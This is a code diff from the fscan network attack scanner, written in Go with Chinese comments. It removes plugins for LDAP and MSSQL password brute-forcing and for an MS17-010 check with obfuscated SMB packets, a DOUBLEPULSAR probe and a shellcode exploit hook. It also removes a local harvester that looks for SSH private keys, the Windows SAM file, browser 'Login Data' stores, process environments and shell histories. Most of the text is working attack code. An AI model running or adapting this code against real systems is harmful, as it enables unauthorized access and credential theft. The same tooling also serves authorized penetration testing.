var details map[string]interface{}
|
||||
|
||||
if result.IsAnonymous {
|
||||
successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ldap",
|
||||
"type": "anonymous-access",
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ldap",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,218 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
// 文件扫描黑名单,跳过这些类型和目录
|
||||
blacklist = []string{
|
||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||
}
|
||||
|
||||
// 敏感文件关键词白名单
|
||||
whitelist = []string{
|
||||
"密码", "账号", "账户", "配置", "服务器",
|
||||
"数据库", "备忘", "常用", "通讯录",
|
||||
}
|
||||
|
||||
// Linux系统关键配置文件路径
|
||||
linuxSystemPaths = []string{
|
||||
// Apache配置
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/httpd/httpd.conf",
|
||||
"/usr/local/apache/conf/httpd.conf",
|
||||
"/home/httpd/conf/httpd.conf",
|
||||
"/usr/local/apache2/conf/httpd.conf",
|
||||
"/usr/local/httpd/conf/httpd.conf",
|
||||
"/etc/apache2/sites-available/000-default.conf",
|
||||
"/etc/apache2/sites-enabled/*",
|
||||
"/etc/apache2/sites-available/*",
|
||||
"/etc/apache2/apache2.conf",
|
||||
|
||||
// Nginx配置
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/nginx/conf.d/nginx.conf",
|
||||
|
||||
// 系统配置文件
|
||||
"/etc/hosts.deny",
|
||||
"/etc/bashrc",
|
||||
"/etc/issue",
|
||||
"/etc/issue.net",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/termcap",
|
||||
"/etc/xinetd.d/*",
|
||||
"/etc/mtab",
|
||||
"/etc/vsftpd/vsftpd.conf",
|
||||
"/etc/xinetd.conf",
|
||||
"/etc/protocols",
|
||||
"/etc/logrotate.conf",
|
||||
"/etc/ld.so.conf",
|
||||
"/etc/resolv.conf",
|
||||
"/etc/sysconfig/network",
|
||||
"/etc/sendmail.cf",
|
||||
"/etc/sendmail.cw",
|
||||
|
||||
// proc信息
|
||||
"/proc/mounts",
|
||||
"/proc/cpuinfo",
|
||||
"/proc/meminfo",
|
||||
"/proc/self/environ",
|
||||
"/proc/1/cmdline",
|
||||
"/proc/1/mountinfo",
|
||||
"/proc/1/fd/*",
|
||||
"/proc/1/exe",
|
||||
"/proc/config.gz",
|
||||
|
||||
// 用户配置文件
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/id_rsa.keystore",
|
||||
"/root/.ssh/id_rsa.pub",
|
||||
"/root/.ssh/known_hosts",
|
||||
"/root/.bash_history",
|
||||
"/root/.mysql_history",
|
||||
}
|
||||
|
||||
// Windows系统关键配置文件路径
|
||||
windowsSystemPaths = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
)
|
||||
|
||||
// LocalInfoScan 本地信息收集主函数
|
||||
func LocalInfoScan(info *Common.HostInfo) (err error) {
|
||||
Common.LogBase("开始本地信息收集...")
|
||||
|
||||
// 获取用户主目录
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
scanFixedLocations(home)
|
||||
|
||||
// 根据规则搜索敏感文件
|
||||
searchSensitiveFiles()
|
||||
|
||||
Common.LogBase("本地信息收集完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanFixedLocations 扫描固定位置的敏感文件
|
||||
func scanFixedLocations(home string) {
|
||||
var paths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// 添加Windows固定路径
|
||||
paths = append(paths, windowsSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
|
||||
case "linux":
|
||||
// 添加Linux固定路径
|
||||
paths = append(paths, linuxSystemPaths...)
|
||||
paths = append(paths, []string{
|
||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
||||
filepath.Join(home, ".mozilla", "firefox"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, path := range paths {
|
||||
// 处理通配符路径
|
||||
if strings.Contains(path, "*") {
|
||||
var _ = strings.ReplaceAll(path, "*", "")
|
||||
if files, err := filepath.Glob(path); err == nil {
|
||||
for _, file := range files {
|
||||
checkAndLogFile(file)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
checkAndLogFile(path)
|
||||
}
|
||||
}
|
||||
|
||||
// checkAndLogFile 检查并记录敏感文件
|
||||
func checkAndLogFile(path string) {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
||||
}
|
||||
}
|
||||
|
||||
// searchSensitiveFiles 搜索敏感文件
|
||||
func searchSensitiveFiles() {
|
||||
var searchPaths []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux":
|
||||
// Linux下常见的敏感目录
|
||||
home, _ := os.UserHomeDir()
|
||||
searchPaths = []string{
|
||||
"/home",
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
}
|
||||
|
||||
// 在限定目录下搜索
|
||||
for _, searchPath := range searchPaths {
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单目录和文件
|
||||
for _, black := range blacklist {
|
||||
if strings.Contains(strings.ToLower(path), black) {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
for _, white := range whitelist {
|
||||
fileName := strings.ToLower(info.Name())
|
||||
if strings.Contains(fileName, white) {
|
||||
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,288 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// SMB协议加密的请求数据
|
||||
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
trans2SessionSetupRequest []byte
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *Common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||
} else {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测部分添加 Output
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 构造基本详情
|
||||
details := map[string]interface{}{
|
||||
"port": "445",
|
||||
"vulnerability": "MS17-010",
|
||||
}
|
||||
if os != "" {
|
||||
details["os"] = os
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||
}
|
||||
|
||||
// 保存 MS17-010 漏洞结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: ip,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// DOUBLEPULSAR 后门检测
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("后门检测响应不完整")
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||
|
||||
// 保存 DOUBLEPULSAR 后门结果
|
||||
backdoorResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: ip,
|
||||
Status: "backdoor",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"type": "DOUBLEPULSAR",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(backdoorResult)
|
||||
}
|
||||
|
||||
// Shellcode 利用部分保持不变
|
||||
if Common.Shellcode != "" {
|
||||
defer MS17010EXP(info)
|
||||
}
|
||||
} else if os != "" {
|
||||
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||
|
||||
// 保存系统信息
|
||||
sysResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: ip,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"service": "smb",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(sysResult)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,269 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MssqlCredential 表示一个MSSQL凭据
|
||||
type MssqlCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// MssqlScanResult 表示MSSQL扫描结果
|
||||
type MssqlScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential MssqlCredential
|
||||
}
|
||||
|
||||
// MssqlScan 执行MSSQL服务扫描
|
||||
func MssqlScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []MssqlCredential
|
||||
for _, user := range Common.Userdict["mssql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, MssqlCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveMssqlResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("MSSQL扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentMssqlScan 并发扫描MSSQL服务
|
||||
func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *MssqlScanResult, 1)
|
||||
workChan := make(chan MssqlCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryMssqlCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("MSSQL并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryMssqlCredential 尝试单个MSSQL凭据
|
||||
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &MssqlScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := MssqlConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &MssqlScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &MssqlScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// MssqlConn 尝试MSSQL连接
|
||||
func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;",
|
||||
host, username, password, port,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
// 通过上下文执行ping操作,以支持超时控制
|
||||
pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
|
||||
defer pingCancel()
|
||||
|
||||
errChan := make(chan error, 1)
|
||||
go func() {
|
||||
errChan <- db.PingContext(pingCtx)
|
||||
}()
|
||||
|
||||
// 等待ping结果或者超时
|
||||
select {
|
||||
case err := <-errChan:
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
case <-ctx.Done():
|
||||
// 全局超时或取消
|
||||
return false, ctx.Err()
|
||||
case <-pingCtx.Done():
|
||||
if pingCtx.Err() == context.DeadlineExceeded {
|
||||
// 单个连接超时
|
||||
return false, fmt.Errorf("连接超时")
|
||||
}
|
||||
return false, pingCtx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveMssqlResult 保存MSSQL扫描结果
|
||||
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) {
|
||||
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mssql",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,160 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
